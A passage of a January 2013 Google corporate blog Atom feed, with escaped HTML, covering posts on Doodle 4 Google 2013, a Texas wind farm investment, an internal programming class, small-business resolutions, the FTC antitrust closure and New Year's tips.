+&lt;span class="byline-author"&gt;Posted by Alice Bonhomme-Biais, Software Engineer, Google Crisis Response&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/PQ_SBKQgOpY" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/7176513715713562385?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/7176513715713562385?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/PQ_SBKQgOpY/responding-to-severe-flooding-in.html" title="Responding to the severe flooding in Jakarta, Indonesia" /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><feedburner:origLink>http://googleblog.blogspot.com/2013/01/responding-to-severe-flooding-in.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUcARHg-eyp7ImA9WhNbEUQ.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-7169310293478391658</id><published>2013-01-14T12:57:00.000-08:00</published><updated>2013-01-14T12:57:25.653-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-01-14T12:57:25.653-08:00</app:edited><title>Inviting kids to dream big: Doodle 4 Google 2013 is open for submission! </title><content type="html">We’re always thinking about ways to make everyday life a little easier and a little more fun. But what would the &lt;i&gt;perfect&lt;/i&gt; day look like? We thought we’d ask the most creative folks out there: today we’re announcing our 6th annual U.S. Doodle 4 Google competition, inviting K-12 students around the country to create their own “doodle†(one of the &lt;a href="http://www.google.com/doodles"&gt;special Google logos&lt;/a&gt; you see on our homepage on various occasions). This year’s theme: “&lt;i&gt;My Best Day Ever...&lt;/i&gt;†Breakdancing with aliens? Sure! Building a fortress of candy? Okay by us! Riding to school on a brontosaurus? You get the idea—but if you need more inspiration, take a look at our video here:&lt;br /&gt;
+&lt;br /&gt;
+&lt;div class="separator" style="clear: both; text-align: center;"&gt;
+&lt;object width="320" height="266" class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://0.gvt0.com/vi/s1PPYo6WL-Q/0.jpg"&gt;&lt;param name="movie" value="http://www.youtube.com/v/s1PPYo6WL-Q&amp;fs=1&amp;source=uds" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;param name="allowFullScreen" value="true" /&gt;&lt;embed width="320" height="266" src="http://www.youtube.com/v/s1PPYo6WL-Q&amp;fs=1&amp;source=uds" type="application/x-shockwave-flash" allowfullscreen="true"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;
+&lt;br /&gt;
+&lt;br /&gt;
+The winning artist will see their work on the Google homepage for a day, win a $30,000 college scholarship, and win a $50,000 technology grant for his or her school.&lt;br /&gt;
+&lt;br /&gt;
+The judging starts with Googlers and a panel of guest judges. This year our judges include journalist and TV personality Katie Couric; music maestro Ahmir “?uestlove†Thompson of The Roots; Chris Sanders, writer and director of &lt;i&gt;Lilo &amp;amp; Stitch&lt;/i&gt; and &lt;i&gt;How to Train Your Dragon&lt;/i&gt;; and Pendleton Ward, creator of &lt;i&gt;Adventure Time&lt;/i&gt;; among other great creative minds.&lt;br /&gt;
+&lt;br /&gt;
+On May 1 we’ll open up a public vote for the 50 State Winners. They’ll be flown to New York City for a national awards ceremony on May 22. There, we’ll announce the National Winner, whose doodle will appear on the Google homepage the following day. In addition, all the State Winners will have their artwork on display at the &lt;a href="http://www.amnh.org/"&gt;American Museum of Natural History&lt;/a&gt; from May 22 to July 14. &lt;br /&gt;
+&lt;br /&gt;
+Participating is easier than ever. You can download the entry forms on our &lt;a href="http://www.google.com/doodle4google"&gt;Doodle 4 Google site&lt;/a&gt; and send in completed doodles by mail or online. All entries must be received by March 22 with a parent or guardian’s signature. We encourage full classrooms to participate too. There’s no limit to the number of doodles that come from any one school or family... just remember, only one doodle per student.&lt;br /&gt;
+&lt;br /&gt;
+For more details, check out &lt;a href="http://google.com/doodle4google"&gt;google.com/doodle4google&lt;/a&gt;, where you’ll find full contest rules and entry forms. Happy doodling, and good luck!&lt;br /&gt;
+&lt;br /&gt;
+&lt;span class="byline-author"&gt;Posted by Ryan Germick, Doodle Team Lead&lt;br /&gt;
+&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/xHsgO9dzA78" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/7169310293478391658?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/7169310293478391658?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/xHsgO9dzA78/inviting-kids-to-dream-big-doodle-4.html" title="Inviting kids to dream big: Doodle 4 Google 2013 is open for submission! " /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><feedburner:origLink>http://googleblog.blogspot.com/2013/01/inviting-kids-to-dream-big-doodle-4.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0MNQ3o7eCp7ImA9WhNUGEg.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-133471734080605210</id><published>2013-01-09T12:04:00.000-08:00</published><updated>2013-01-10T15:11:32.400-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-01-10T15:11:32.400-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="green" /><title>A wind investment deep in the heart of Texas</title><content type="html">In late December, while most of us were busy wrapping presents, our Treasury team was tying a bow on our most recent &lt;a href="http://www.google.com/green/energy/investments/"&gt;renewable energy deal&lt;/a&gt;: an approximately $200 million equity investment in a wind farm in west Texas that generates enough energy to power more than 60,000 average U.S. homes.&lt;br /&gt;
+&lt;br /&gt;
+Spinning Spur Wind Project is located in Oldham County, a wide open, windy section of the Texas Panhandle located about 35 miles from Amarillo. The 161 megawatt facility was built by renewable energy developer EDF Renewable Energy, a veteran in the industry that has overseen more than 50 other clean energy projects. Spinning Spur’s 70 2.3 MW Siemens turbines started spinning full time just before the end of the year, and the energy they create has been contracted to SPS, a utility that primarily serves Texas and New Mexico.&lt;br /&gt;
+&lt;br /&gt;
+We look for projects like Spinning Spur because, in addition to creating more renewable energy and strengthening the local economy, they also make for smart investments: they offer attractive returns relative to the risks and allow us to invest in a broad range of assets. We’re also proud to be the first investor in an EDF Renewable Energy project that is not a financial institution, as we believe that corporations can be an important new source of capital for the renewable energy sector.&lt;br /&gt;
+&lt;br /&gt;
+Spinning Spur joins 10 other renewable energy investments we’ve made since 2010, several of which hit significant milestones in the past year: &lt;br /&gt;
+&lt;br /&gt;
+&lt;ul&gt;
+&lt;li&gt;The &lt;a href="http://googleblog.blogspot.com/2010/10/wind-cries-transmission.html"&gt;Atlantic Wind Connection&lt;/a&gt; received permission to begin permitting, an important step in advancing the construction of the United States’ first offshore backbone electric transmission system (more in this &lt;a href="http://www.youtube.com/watch?v=6qSVtSCufcw"&gt;new video&lt;/a&gt;).&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://googleblog.blogspot.com/2011/04/shepherding-wind.html"&gt;Shepherds Flat&lt;/a&gt;, one of the world’s largest wind farms with a capacity of 845 MW, became fully operational in October.&lt;/li&gt;
+&lt;li&gt;The &lt;a href="http://ivanpahsolar.com/"&gt;Ivanpah&lt;/a&gt; project, which is more than 75 percent complete and employs 2,000+ people, recently installed its 100,000th heliostat, a kind of mirror (more in this &lt;a href="http://www.youtube.com/watch?v=3d1guTvhCjk"&gt;new video&lt;/a&gt;).&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://www.recurrentenergy.com/sites/default/files/Recurrent%20Energy_McKenzie%20COD%20Press%20Release_FINAL.pdf"&gt;Just yesterday&lt;/a&gt;&amp;nbsp;(PDF),&amp;nbsp;the fourth and final phase of Recurrent Energy's 88MW solar installation in Sacramento County, Calif., reached commercial operation.&lt;/li&gt;
+&lt;/ul&gt;
+&lt;br /&gt;
+Altogether, the renewable energy projects we’ve invested in are capable of generating 2 gigawatts of power. To give a better sense of what that really means, we came up with some comparisons (click to enlarge):&lt;br /&gt;
+&lt;br /&gt;
+&lt;div class="separator" style="clear: both; text-align: center;"&gt;
+&lt;a href="http://3.bp.blogspot.com/-QZMg4fXuPdY/UO2L1YuXayI/AAAAAAAAKm4/XrSk8o_5gD0/s1600/infographic.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="http://3.bp.blogspot.com/-QZMg4fXuPdY/UO2L1YuXayI/AAAAAAAAKm4/XrSk8o_5gD0/s640/infographic.png" width="284" /&gt;&lt;/a&gt;&lt;/div&gt;
+&lt;br /&gt;
+Here’s to a clean, renewable 2013!&lt;br /&gt;
+&lt;br /&gt;
+&lt;span class="byline-author"&gt;Posted by Kojo Ako-Asare, Senior Manager, Corporate Finance&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/b2IEbHlnXd4" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/133471734080605210?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/133471734080605210?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/b2IEbHlnXd4/a-wind-investment-deep-in-heart-of-texas.html" title="A wind investment deep in the heart of Texas" /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-QZMg4fXuPdY/UO2L1YuXayI/AAAAAAAAKm4/XrSk8o_5gD0/s72-c/infographic.png" height="72" width="72" /><feedburner:origLink>http://googleblog.blogspot.com/2013/01/a-wind-investment-deep-in-heart-of-texas.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkcEQ3k6fCp7ImA9WhNUFUo.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-1335122406404377083</id><published>2013-01-07T09:00:00.000-08:00</published><updated>2013-01-07T09:00:02.714-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-01-07T09:00:02.714-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="g2g" /><category scheme="http://www.blogger.com/atom/ns#" term="googlers and culture" /><title>Finding the inner programmer in every Googler</title><content type="html">&lt;i&gt;This is the second post in a &lt;a href="http://googleblog.blogspot.com/search/label/g2g"&gt;series&lt;/a&gt; profiling Googlers who facilitate classes as part of our g2g program, in which Googlers teach, share and learn from each other. Regardless of role, level or location, g2g's community-based approach makes it possible for all Googlers to take advantage of a variety of learning opportunities.&lt;/i&gt; - Ed.&lt;br /&gt;
+&lt;br /&gt;
+If someone had told me when I graduated with a degree in economics that I’d one day be employed in a technical role at Google, I would have laughed. In 2008, I joined Google’s people operations rotation program, in which one experiences three different people ops areas—from benefits to staffing—over the course of two years. After just a few short months, I found myself with a passion for technology and a profound interest in programming that would draw me into teaching a class, Intro to Programming (I2P), to non-engineers at Google as a part of the g2g (Googlers-to-Googlers) program. &lt;br /&gt;
+&lt;br /&gt;
+&lt;div class="separator" style="clear: both; text-align: center;"&gt;
+&lt;a href="http://3.bp.blogspot.com/-4Wov2Exe8Qs/UOr8tzOHlHI/AAAAAAAAKls/V6xFiHm5gmg/s1600/i2p+1.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="239" src="http://3.bp.blogspot.com/-4Wov2Exe8Qs/UOr8tzOHlHI/AAAAAAAAKls/V6xFiHm5gmg/s320/i2p+1.jpeg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
+&lt;div style="text-align: center;"&gt;
+&lt;i&gt;Teaching programming to an I2P class at our Mountain View, Calif. headquarters &lt;/i&gt;&lt;/div&gt;
+&lt;br /&gt;
+While on the benefits team, I was assigned a project that involved matching up hundreds of Googlers’ names with their corresponding office locations and job titles. I quickly realized that a few simple &lt;a href="http://en.wikipedia.org/wiki/Scripting_language"&gt;programming scripts&lt;/a&gt; could probably speed up my work and reduce errors. The only problem was, I had no clue how to write a program. &lt;br /&gt;
+&lt;br /&gt;
+I began to teach myself the programming language Python, which is known for its clarity of syntax and friendliness to beginners. Slowly, I produced a multi-functional automated spreadsheet, and then a web application to share with my team. My teammates, seeing that my newfound technical skills had saved all of us time, asked me to teach them how to code; thus, in front of a whiteboard in a small conference room, I2P was born. &lt;br /&gt;
+&lt;br /&gt;
+Since then, more than 200 Googlers have taken I2P. We encourage an open, supportive environment in the class, making it an approachable way for Googlers to broaden their horizons within the workplace and gain new skills. Some of my former students have even moved from roles in global business, finance and people operations to full-time engineering positions. That’s awesome to see, but I love that Googlers can use what they learn in I2P to make processes across the company more efficient—no matter what team they work on. For example, an administrative assistant who took the class streamlined a manual daily task by automating an email response survey for her team. &lt;br /&gt;
+&lt;br /&gt;
+In addition to solving business challenges, I’ve also seen Googlers using the programming skills they learned in I2P to help others—both inside and outside of Google. Recently, an I2P alum increased participation in Google’s free flu shot program by writing a Python-based enrollment tool that allows Googlers to find appointments online by preferred office location and time. Thousands more Googlers signed up to receive flu shots due to the convenience provided by the tool. Because Google donates an equal number of vaccinations, such as those preventing meningitis or pneumonia, to children in the developing world, this new tool also led to thousands more children receiving crucial vaccinations. &lt;br /&gt;
+&lt;br /&gt;
+&lt;div class="separator" style="clear: both; text-align: center;"&gt;
+&lt;a href="http://4.bp.blogspot.com/-JzxJ5B9StZI/UOr8zHcAiNI/AAAAAAAAKl0/GbfUlMi42M0/s1600/i2p+2.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="239" src="http://4.bp.blogspot.com/-JzxJ5B9StZI/UOr8zHcAiNI/AAAAAAAAKl0/GbfUlMi42M0/s320/i2p+2.jpeg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
+&lt;div style="text-align: center;"&gt;
+&lt;i&gt;More than 200 Googlers have participated in the 11-week course (the sword definitely helps keep engagement high...don’t worry, it’s foam!)&lt;/i&gt;&lt;/div&gt;
+&lt;br /&gt;
+What’s extraordinary to me is that under the g2g program, the “guy down the hall in HR†can teach programming—of all things—to his fellow Googlers. It’s been extremely rewarding to experience first-hand the results of my students’ learnings. Googlers have taken the principles and skills from I2P and put them to work in time management, email communication and even just having fun re-creating &lt;a href="http://en.wikipedia.org/wiki/Frogger"&gt;Frogger&lt;/a&gt;—leave it to Googlers to span the gamut of I2P skill application. I often think how awesome it would be if every Googler could take I2P and apply what they’ve learned to make processes across the company more efficient.&lt;br /&gt;
+&lt;br /&gt;
+If you’re interested in learning how to code, here are three tips from the course that you can practice on your own. While I’ve learned these principles via programming, they can be helpful in all kinds of fields! &lt;br /&gt;
+&lt;br /&gt;
+&lt;ul&gt;
+&lt;li&gt;&lt;b&gt;Practice &lt;i&gt;and&lt;/i&gt; theory. &lt;/b&gt;You learn best when you have something to apply your learning to. With programming, find a project you want to apply your skills to and build the knowledge necessary to accomplish your project.&lt;/li&gt;
+&lt;li&gt;&lt;b&gt;Bad habits die hard.&lt;/b&gt; If you are writing messy or convoluted code, you are building habits that will be very hard to break. Better to overcome the pain of doing it the right way initially so that you never have to go back and change.&lt;/li&gt;
+&lt;li&gt;&lt;b&gt;Get feedback. &lt;/b&gt;Just because a script "works" doesn't mean it works well. Always get advice from others with more experience so that you are learning how to do things better, not just sufficiently well.&lt;/li&gt;
+&lt;/ul&gt;
+&lt;br /&gt;
+&lt;span class="byline-author"&gt;Posted by Albert Hwang, Team Lead of the People Technology &amp;amp; Operations Tools Group&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/x20oGYbcEG8" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/1335122406404377083?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/1335122406404377083?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/x20oGYbcEG8/finding-inner-programmer-in-every.html" title="Finding the inner programmer in every Googler" /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-4Wov2Exe8Qs/UOr8tzOHlHI/AAAAAAAAKls/V6xFiHm5gmg/s72-c/i2p+1.jpeg" height="72" width="72" /><feedburner:origLink>http://googleblog.blogspot.com/2013/01/finding-inner-programmer-in-every.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkYBRng5eSp7ImA9WhNUEks.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-2998053500166607539</id><published>2013-01-03T16:42:00.000-08:00</published><updated>2013-01-03T16:42:37.621-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-01-03T16:42:37.621-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="small business" /><title>Make some New Year’s resolutions for your business</title><content type="html">When Melodie Bishop heard about our &lt;a href="http://www.gybo.com/"&gt;Get Your Business Online&lt;/a&gt; program (an initiative that makes it fast, easy and free for U.S. businesses to get online), she jumped at the opportunity to turn her hobby of creating Chicago-themed gift baskets into a full-time business. Since launching her website, &lt;a href="http://www.sendthemchicago.com/"&gt;Send Them Chicago&lt;/a&gt;, this past summer, Melodie has seen a 70 percent increase in new customers.&lt;br /&gt;
+&lt;br /&gt;
+&lt;div class="separator" style="clear: both; text-align: center;"&gt;
+&lt;a href="http://2.bp.blogspot.com/-YGbXa0cfw7Y/UOTCWf-aQVI/AAAAAAAAKko/IUqGIa_nNCA/s1600/melodie.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-YGbXa0cfw7Y/UOTCWf-aQVI/AAAAAAAAKko/IUqGIa_nNCA/s500/melodie.jpeg" width="500" /&gt;&lt;/a&gt;&lt;/div&gt;
+&lt;div style="text-align: center;"&gt;
+&lt;i&gt;Melodie Bishop with one of her gift baskets&lt;/i&gt;&lt;/div&gt;
+&lt;br /&gt;
+As the holidays wrap up and the New Year starts, millions of business owners just like Melodie are thinking about how they can grow in 2013. For many, this means getting found and connecting with customers on the web. &lt;br /&gt;
+&lt;br /&gt;
+Yet often, it can be difficult to know where to start. That’s why we’re helping business owners create a list of &lt;a href="http://www.gybo.com/new-years"&gt;New Year’s resolutions&lt;/a&gt; for 2013. &lt;br /&gt;
+&lt;br /&gt;
+Let us know what you hope to accomplish in the New Year. Do you want to get your basic business information online? Or do you already have a website and want to reach more customers? Once you select your goals, we’ll create a customized list of resolutions with resources to help you stick to it. &lt;br /&gt;
+&lt;br /&gt;
+In the U.S., 58 percent of small businesses don’t have a website, but 97 percent of Internet users look online for local products and services. So it’s not surprising that businesses with a web presence are expected to grow 40 percent faster than those without. &lt;a href="http://www.gybo.com/new-years"&gt;Creating a list of resolutions&lt;/a&gt; for your business may just be one of the easiest things you can do to help your business grow. &lt;br /&gt;
+&lt;br /&gt;
+We’ll see you on the web.&lt;br /&gt;
+&lt;br /&gt;
+P.S. If you aren’t a small business owner, it’s not too late to give that business you know the &lt;a href="http://www.gybo.com/gift"&gt;gift of a free website&lt;/a&gt;.&lt;br /&gt;
+&lt;br /&gt;
+&lt;span class="byline-author"&gt;Posted by Aditya Mahesh, Product Marketing, Get Your Business Online&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/iTtzrUrGhTE" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/2998053500166607539?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/2998053500166607539?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/iTtzrUrGhTE/make-some-new-years-resolutions-for.html" title="Make some New Year’s resolutions for your business" /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-YGbXa0cfw7Y/UOTCWf-aQVI/AAAAAAAAKko/IUqGIa_nNCA/s72-c/melodie.jpeg" height="72" width="72" /><feedburner:origLink>http://googleblog.blogspot.com/2013/01/make-some-new-years-resolutions-for.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkACSHw8cSp7ImA9WhNUEkk.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-8936451834548241383</id><published>2013-01-03T10:09:00.000-08:00</published><updated>2013-01-03T11:19:29.279-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-01-03T11:19:29.279-08:00</app:edited><title>The Federal Trade Commission closes its antitrust review</title><content type="html">The U.S. Federal Trade Commission today announced it has closed its investigation into Google after an exhaustive 19-month review that covered millions of pages of documents and involved many hours of testimony. The conclusion is clear: Google’s services are good for users and good for competition. &lt;br /&gt;
+&lt;br /&gt;
+Larry and Sergey founded Google because they believed that building a great search experience would improve people’s lives. And in the decade-plus that’s followed, Google has worked hard to make it quicker and easier for users to find what they need. In the early days you would type in a query, we’d return 10 blue links and you’d have to click on them individually to find what you wanted. Today we can save you the hassle by providing direct answers to your questions, as well as links to other sites. So if you type in [weather san francisco], or [tom hanks movies], we now give you the answer right from the results page—because truly great search is all about turning your needs into actions in the blink of an eye. &lt;br /&gt;
+&lt;br /&gt;
+As we made clear when the FTC started its investigation, we’ve always been open to improvements that would create a better experience. And today we’ve &lt;a href="http://www.google.com/pdf/google_ftc_dec2012.pdf"&gt;written&lt;/a&gt; (PDF) to the FTC making two voluntary product changes:&lt;br /&gt;
+&lt;br /&gt;
+&lt;ul&gt;&lt;li&gt;&lt;b&gt;More choice for websites&lt;/b&gt;: Websites can already &lt;a href="http://support.google.com/webmasters/bin/answer.py?hl=en&amp;amp;answer=156449"&gt;opt out of&lt;/a&gt; Google Search, and they can now remove content (for example reviews) from specialized search results pages, such as local, travel and shopping;&lt;/li&gt;
+&lt;li&gt;&lt;b&gt;More ad campaign control&lt;/b&gt;: Advertisers can already &lt;a href="http://support.google.com/adwords/editor/bin/answer.py?hl=en&amp;amp;answer=38657"&gt;export their ad campaigns&lt;/a&gt; from Google AdWords. They will now be able to mix and copy ad campaign data within third-party services that use our AdWords API.&lt;/li&gt;
+&lt;/ul&gt;&lt;br /&gt;
+In addition, we’ve &lt;a href="http://www.ftc.gov/os/caselist/1210120/130103googlemotorolaagree.pdf"&gt;agreed with the FTC&lt;/a&gt;&amp;nbsp;(PDF) that we will seek to resolve standard-essential patent disputes through a neutral third party before seeking injunctions. This agreement establishes clear rules of the road for standards essential patents going forward. &lt;br /&gt;
+&lt;br /&gt;
+We’ve always accepted that with success comes regulatory scrutiny. But we’re pleased that the FTC and the other authorities that have looked at Google's business practices—including the U.S. Department of Justice (in its &lt;a href="http://www.justice.gov/opa/pr/2011/April/11-at-445.html"&gt;ITA Software&lt;/a&gt; review), the U.S. courts (in the &lt;i&gt;&lt;a href="http://www.internetlibrary.com/cases/lib_case337.cfm"&gt;SearchKing&lt;/a&gt;&lt;/i&gt; and &lt;i&gt;&lt;a href="http://www.internetlibrary.com/cases/lib_case502.cfm"&gt;Kinderstart&lt;/a&gt;&lt;/i&gt; cases), and the Brazilian courts (in a &lt;a href="http://searchengineland.com/google-wins-major-antitrust-victory-in-brazil-does-it-foreshadow-broader-eu-us-wins-132729"&gt;case last year&lt;/a&gt;)—have concluded that we should be free to combine direct answers with web results. So we head into 2013 excited about our ability to innovate for the benefit of users everywhere.&lt;br /&gt;
+&lt;br /&gt;
+&lt;span class="byline-author"&gt;Posted by David Drummond, Senior Vice President and Chief Legal Officer&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/nND0FTzFVHw" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/8936451834548241383?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/8936451834548241383?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/nND0FTzFVHw/the-federal-trade-commission-closes-its.html" title="The Federal Trade Commission closes its antitrust review" /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><feedburner:origLink>http://googleblog.blogspot.com/2013/01/the-federal-trade-commission-closes-its.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DE8ARHw9eSp7ImA9WhNUEEg.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-1608635992677892192</id><published>2013-01-01T08:00:00.000-08:00</published><updated>2013-01-01T08:14:05.261-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-01-01T08:14:05.261-08:00</app:edited><title>A little help from Google on your New Year’s resolutions </title><content type="html">The new year has arrived, and with it all the resolutions that we hope to tackle in 2013. &lt;br /&gt;
+&lt;br /&gt;
+But resolutions can be hard to keep. And since eating better, taking control of personal finances, travelling more and learning something new regularly top the list of New Year’s resolutions, we've pulled together some of our best tips and tricks across Google to make 2013 the year you succeed with your goals. &lt;br /&gt;
+&lt;br /&gt;
+&lt;b&gt;Eat better&lt;/b&gt;&lt;br /&gt;
+&lt;ul&gt;
+&lt;li&gt;Counting calories? &lt;a href="https://chrome.google.com/webstore/category/app/104-food-and-health?utm_source=chrome-ntp-icon"&gt;Apps such as Diet Diary&lt;/a&gt; can be easily accessed through &lt;a href="https://chrome.google.com/webstore/detail/diet-diary/neckeibmjhibmgoigmffjlihekefmffd?utm_source=chrome-ntp-icon"&gt;Chrome&lt;/a&gt; or your &lt;a href="https://play.google.com/store/apps/details?id=org.medhelp.mydiet&amp;amp;hl=en"&gt;Android&lt;/a&gt; device—that way it’s with you when it‘s on your mind. If spreadsheets are more your style, try one of several Google Docs templates, like this &lt;a href="https://docs.google.com/previewtemplate?id=0AvwwPO-xzD_QdHNJbE9NLUdUemdFZGtPR2pqN0xyUUE&amp;amp;mode=public"&gt;weekly meal planner&lt;/a&gt;.&lt;/li&gt;
+&lt;li&gt;Find recipes for healthy meals and how-to-cook videos with apps like &lt;a href="https://chrome.google.com/webstore/detail/bbc-good-food/jnkffnoliaheoidfeejcmnidkkgilkja?utm_source=chrome-ntp-icon"&gt;BBC’s Good Food&lt;/a&gt; for Chrome or food channels like &lt;a href="http://www.youtube.com/showmethecurry"&gt;Show me the Curry&lt;/a&gt; on YouTube.&lt;/li&gt;
+&lt;li&gt;Rely on the Google+ community for motivation and learn from others via hangouts on &lt;a href="http://www.youtube.com/watch?v=uxJDPpDUaY0"&gt;how to prepare healthy meals&lt;/a&gt;.&lt;/li&gt;
+&lt;li&gt;We know how easy it is to fall off track. Check out &lt;a href="http://play.google.com/"&gt;Google Play&lt;/a&gt; to find apps, books and music to keep you motivated.&lt;br /&gt;
+&lt;/li&gt;
+&lt;/ul&gt;
+&lt;iframe allowfullscreen="allowfullscreen" frameborder="0" height="315" src="http://www.youtube.com/embed/LXZRq3K1y-Q" width="560"&gt;&lt;/iframe&gt;&lt;br /&gt;
+&lt;br /&gt;
+&lt;b&gt;&lt;br /&gt;
+&lt;/b&gt; &lt;b&gt;Get fiscally fit&lt;/b&gt;&lt;br /&gt;
+&lt;ul&gt;
+&lt;li&gt;To control your finances, you need to know exactly where money is coming in and out. This &lt;a href="https://drive.google.com/a/google.com/previewtemplate?id=0Ai0sr77aWQ6mdEU1RUpVTTQ0Umlzdmk5alZQYXFCU2c&amp;amp;mode=public"&gt;simple budget template&lt;/a&gt; in Google Drive already has you halfway there.&lt;/li&gt;
+&lt;li&gt;If you prefer a more detailed budget, try using an app like Mint to track your finances on the go, available on both &lt;a href="https://play.google.com/store/apps/details?id=com.mint&amp;amp;hl=en"&gt;Android&lt;/a&gt; and &lt;a href="https://chrome.google.com/webstore/detail/mint/mhgffcfekbglhpcdjkhhjekhdnddkflg?utm_source=chrome-ntp-icon"&gt;Chrome&lt;/a&gt;.&lt;/li&gt;
+&lt;li&gt;Keep track of your stock portfolio and related market news via &lt;a href="http://www.google.com/finance"&gt;Google Finance&lt;/a&gt; or with brokerage apps like &lt;a href="https://play.google.com/store/apps/details?id=com.etrade.mobilepro.activity&amp;amp;hl=en"&gt;E*TRADE&lt;/a&gt; from Google Play.&lt;/li&gt;
+&lt;/ul&gt;
+&lt;b&gt;&lt;br /&gt;
+&lt;/b&gt; &lt;b&gt;Travel more&lt;/b&gt;&lt;br /&gt;
+&lt;ul&gt;
